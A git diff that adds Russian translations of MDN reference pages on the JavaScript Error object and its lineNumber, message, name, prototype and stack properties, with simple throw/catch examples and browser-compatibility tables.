+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html
new file mode 100644
index 0000000000..95fd8918a1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/index.html
@@ -0,0 +1,208 @@
+---
+title: Error
+slug: Web/JavaScript/Reference/Global_Objects/Error
+tags:
+  - Error
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>Конструктор <strong><code>Error</code></strong> создаёт объект ошибки. Экземпляры объекта <code>Error</code> выбрасываются при возникновении ошибок во время выполнения. Объект <code>Error</code> также может использоваться в качестве базового для пользовательских исключений. Смотрите ниже стандартные встроенные типы ошибок.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>message </code> <code>{{optional_inline()}}</code></dt>
+ <dd>Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}} <code>{{optional_inline()}}</code></dt>
+ <dd>Значение свойства <code>fileName</code> созданного объекта <code>Error</code>. Значением по умолчанию является имя файла, содержащего код, вызвавший конструктор <code>Error()</code>.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}} <code>{{optional_inline()}}</code></dt>
+ <dd>Значение свойства <code>lineNumber</code> созданного объекта <code>Error</code>. Значением по умолчанию является номер строки, содержащей вызов конструктора <code>Error()</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Во время выполения кода ошибки приводят к созданию и выбрасыванию новых объектов <code>Error</code>.</p>
+
+<p>Данная страница документирует использование объекта <code>Error</code> как самого по себе, так и при использовании в качестве функции-конструктора. Список свойств и методов, унаследованых экземплярами объекта <code>Error</code>, смотрите в разделе {{jsxref("Error.prototype")}}.</p>
+
+<p> </p>
+
+<h3 id="Использование_как_функции">Использование как функции</h3>
+
+<p>Когда <code>Error</code> используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает <code>Error</code> объект. Следовательно простой вызов <code>Error</code> произведет тот же результат, что и конструктор <code>Error</code> объявленный через <code>new</code>.</p>
+
+<pre><code>// this:
+const x = Error('I was created using a function call!');
+​​​​// Такая же </code>функциональность<code>:
+const y = new Error('I was constructed via the "new" keyword!');</code></pre>
+
+<p> </p>
+
+<h3 id="Error_types" name="Error_types"><a id="Error_types" name="Error_types">Типы ошибок</a></h3>
+
+<p>Кроме общего конструктора <code>Error</code>, в JavaScript существует ещё семь других основных конструкторов ошибок. По обработке исключений смотрите раздел <a href="/ru/docs/Web/JavaScript/Guide/Statements#Exception_Handling_Statements">Выражения обработки исключений</a>.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую в глобальной функции {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую при выбрасывании внутренней ошибки в движке JavaScript. К примеру, ошибки «слишком глубокая рекурсия» («too much recursion»).</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую при выходе числовой переменной или параметра за пределы допустимого диапазона.</dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую при разыменовывании недопустимой ссылки.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий синтаксическую ошибку, возникающую при разборе исходного кода в функции {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую при недопустимом типе для переменной или параметра.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>Создаёт экземпляр, представляющий ошибку, возникающую при передаче в функции {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} или {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} недопустимых параметров.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в экземпляры объекта <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Глобальный объект <code>Error</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Error_instances" name="Error_instances">Экземпляры объекта <code>Error</code></h2>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', 'Description')}}</div>
+
+<h3 id="Properties_2" name="Properties_2">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_2" name="Methods_2">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Throwing_a_generic_error" name="Example:_Throwing_a_generic_error">Пример: выбрасывание обычной ошибки</h3>
+
+<p>Обычно, вы создаёте объект <code>Error</code> с намерением возбудить ошибку с помощью ключевого слова {{jsxref("Statements/throw", "throw")}}. Вы можете обработать ошибку с помощью конструкции {{jsxref("Statements/try...catch", "try...catch")}}:</p>
+
+<pre class="brush: js">try {
+  throw new Error('Уупс!');
+} catch (e) {
+  console.log(e.name + ': ' + e.message);
+}
+</pre>
+
+<h3 id="Example:_Handling_a_specific_error" name="Example:_Handling_a_specific_error">Пример: обработка ошибки конкретного типа</h3>
+
+<p><span class="comment">Возможно, это следует удалить</span> Вы можете обрабатывать только какой-то определённый вид ошибок, проверяя тип ошибки в свойстве {{jsxref("Object.prototype.constructor", "constructor")}} или, если вы пишете для современных движков JavaScript, с помощью ключевого слова {{jsxref("Operators/instanceof", "instanceof")}}:</p>
+
+<pre class="brush: js">try {
+  foo.bar();
+} catch (e) {
+  if (e instanceof EvalError) {
+    console.log(e.name + ': ' + e.message);
+  } else if (e instanceof RangeError) {
+    console.log(e.name + ': ' + e.message);
+  }
+  // ... и т.д.
+}
+</pre>
+
+<h3 id="Example:_Custom_Error_Types" name="Example:_Custom_Error_Types">Пример: пользовательские типы ошибок</h3>
+
+<p>Вы можете захотеть определить свои собственные типы ошибок, унаследованные от <code>Error</code>, что бы иметь возможноть писать <code>throw new MyError()</code> и использовать <code>instanceof MyError</code> для проверки вида ошибки в обработчике исключений. Ниже продемонстрирован общий подход к выполнению этой задачи.</p>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> обратите внимание, что выбрасывание <code>MyError</code> будет сообщать неправильные номер строки <code>lineNumber</code> и имя файла <code>fileName</code> как минимум, в Firefox.</p>
+</div>
+
+<p>Также смотрите <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">обсуждение «Какой способ расширения Error в JavaScript более предпочтителен?» на Stackoverflow</a>.</p>
+
+<pre class="brush: js">// Создаём новый объект, затем через прототип делаем его наследником конструктора Error.
+function MyError(message) {
+  this.name = 'MyError';
+  this.message = message || 'Сообщение по умолчанию';
+  this.stack = (new Error()).stack;
+}
+MyError.prototype = Object.create(Error.prototype);
+MyError.prototype.constructor = MyError;
+
+try {
+  throw new MyError();
+} catch (e) {
+  console.log(e.name);     // 'MyError'
+  console.log(e.message);  // 'Сообщение по умолчанию'
+}
+
+try {
+  throw new MyError('пользовательское сообщение');
+} catch (e) {
+  console.log(e.name);     // 'MyError'
+  console.log(e.message);  // 'пользовательское сообщение'
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+
+<p> </p>
+
+<div> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/linenumber/index.html b/files/ru/web/javascript/reference/global_objects/error/linenumber/index.html
new file mode 100644
index 0000000000..c9f2d5c33e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/linenumber/index.html
@@ -0,0 +1,92 @@
+---
+title: Error.prototype.lineNumber
+slug: Web/JavaScript/Reference/Global_Objects/Error/lineNumber
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>lineNumber</strong></code> содержит номер строки в файле, в котором возникла эта ошибка.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Throwing_a_custom_error" name="Example:_Throwing_a_custom_error">Пример: использование <code>lineNumber</code></h3>
+<pre class="brush: js">var e = new Error('Невозможно разобрать входные данные');
+throw e;
+console.log(e.lineNumber) // 2
+</pre>
+
+<h3 id="Example:_Alternative_example_using_error_event" name="Example:_Alternative_example_using_error_event">Пример: альтернативный пример с использованием события <code>error</code></h3>
+<pre class="brush: js">window.addEventListener('error', function(e) {
+  console.log(e.lineno); // 5
+});
+var e = new Error('Невозможно разобрать входные данные');
+throw e;
+</pre>
+<p>Это стандарт и он поддерживается в Chrome, Firefox и, вероятно, много где ещё.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является чаcтью какой-либо спецификации. Не стандартно.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>На объекте ошибки в обработчике события <code>error</code></td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/message/index.html b/files/ru/web/javascript/reference/global_objects/error/message/index.html
new file mode 100644
index 0000000000..655ce0924b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/message/index.html
@@ -0,0 +1,107 @@
+---
+title: Error.prototype.message
+slug: Web/JavaScript/Reference/Global_Objects/Error/message
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/message
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>message</strong></code> представляет человеко-читаемое описание ошибки.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Это свойство содержит краткое описание ошибки, если оно доступно или было установлено. <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> широко использует свойство <code>message</code> для исключений. Свойство <code>message</code> в сочетании со свойством {{jsxref("Error.prototype.name", "name")}} используется методом {{jsxref("Error.prototype.toString()")}} для создания строкового представления ошибки.</p>
+<p>По умолчанию, свойство <code>message</code> является пустой строкой, но это поведение может быть переопределено для экземпляра путём указания сообщения первым аргументом в конструкторе объекта {{jsxref("Global_Objects/Error", "Error")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Throwing_a_custom_error" name="Example:_Throwing_a_custom_error">Пример: выбрасывание собственной ошибки</h3>
+<pre class="brush: js">var e = new Error('Невозможно разобрать входные данные');
+// e.message равно 'Невозможно разобрать входные данные'
+throw e;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/name/index.html b/files/ru/web/javascript/reference/global_objects/error/name/index.html
new file mode 100644
index 0000000000..856ded3954
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/name/index.html
@@ -0,0 +1,108 @@
+---
+title: Error.prototype.name
+slug: Web/JavaScript/Reference/Global_Objects/Error/name
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/name
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>name</strong></code> представляет имя типа ошибки. Начальное значение равно строке <code>"Error"</code>.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>По умолчанию, экземпляры {{jsxref("Error")}} имеют имя <code>"Error"</code>. Свойство <code>name</code>, вместе со свойством {{jsxref("Error.prototype.message", "message")}}, используется методом {{jsxref("Error.prototype.toString()")}} для создания строкового представления ошибки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Throwing_a_custom_error" name="Example:_Throwing_a_custom_error">Пример: выбрасывание собственной ошибки</h3>
+<pre class="brush: js">var e = new Error('Неверные входные данные'); // e.name равно 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString() вернёт 'ParseError: Неверные входные данные'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/prototype/index.html b/files/ru/web/javascript/reference/global_objects/error/prototype/index.html
new file mode 100644
index 0000000000..a31d760836
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/prototype/index.html
@@ -0,0 +1,154 @@
+---
+title: Error.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Error/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <code><strong>Error.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("Global_Objects/Error", "Error")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Все экземпляры {{jsxref("Global_Objects/Error", "Error")}} и экземпляры {{jsxref("Global_Objects/Error", "неуниверсальных ошибок", "#Error_types", 1)}} наследуются от <code>Error.prototype</code>. Как и со всеми функциями-конструкторами, вы можете использовать прототип конструктора для добавления свойств и методов ко всем экземплярам, создаваемым этим конструктором.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<h3 id="Standard_properties" name="Standard_properties">Стандартные свойства</h3>
+
+<dl>
+ <dt><code>Error.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра ошибки.</dd>
+ <dt>{{jsxref("Error.prototype.message")}}</dt>
+ <dd>Сообщение ошибки.</dd>
+ <dt>{{jsxref("Error.prototype.name")}}</dt>
+ <dd>Название ошибки.</dd>
+</dl>
+
+<h3 id="Vendor-specific_extensions" name="Vendor-specific_extensions">Расширения вендоров</h3>
+
+<div>{{non-standard_header}}</div>
+
+<h4 id="Microsoft" name="Microsoft">Microsoft</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.description")}}</dt>
+ <dd>Описание ошибки. Аналогично свойству {{jsxref("Error.prototype.message", "message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.number")}}</dt>
+ <dd>Номер ошибки.</dd>
+</dl>
+
+<h4 id="Mozilla" name="Mozilla">Mozilla</h4>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка.</dd>
+ <dt>{{jsxref("Error.prototype.stack")}}</dt>
+ <dd>Стек вызовов.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает строку, содержащую исходный код указанного объекта {{jsxref("Global_Objects/Error", "Error")}}; вы можете использовать это значение для создания нового объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, представляющую указанный объект. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype', 'Error')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/stack/index.html b/files/ru/web/javascript/reference/global_objects/error/stack/index.html
new file mode 100644
index 0000000000..de0f95e041
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/stack/index.html
@@ -0,0 +1,147 @@
+---
+title: Error.prototype.stack
+slug: Web/JavaScript/Reference/Global_Objects/Error/Stack
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Нестандартное свойство <strong><code>stack</code></strong> объекта {{jsxref("Error")}} возвращает трассировку стека вызываемых функций в порядке их выполнения, вместе с номерами строк, именами файлов и аргументами. Строка со стеком заполняется от самых недавних вызовов до вызова из глобальной области видимости.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Каждый шаг находится на отдельной строке; первая часть строки содержит имя функции (если это не вызов из глобальной области видимости), затем знак собаки (<code>@</code>), местоположение файла (кроме случая, когда функция является конструктором ошибки, которую она выбрасывает), двоеточие и, если есть местоположение файла, номер строки. Обратите внимание, что объект {{jsxref("Error")}} также обладает свойствами <code>fileName</code>, <code>lineNumber</code> и <code>columnNumber</code>, позволяющими извлечь имя файла, номер строки и столбца из выброшенной ошибки (но только самой ошибки, а не всего стека вызовов).</p>
+<p>Обратите внимание, что такой формат используется в Firefox. Нет никакого «стандартного формата». Однако, Safari 6+ и Opera 12- используют очень похожий формат. С другой стороны, браузеры, использующие движок JavaScript V8 (например, Chrome, Opera 15+, Браузер Android) и IE10+, используют другой формат (смотрите эту статью по <a class="external" href="http://msdn.microsoft.com/ru-ru/library/windows/apps/hh699850.aspx"><code>error.stack</code></a> в MSDN).</p>
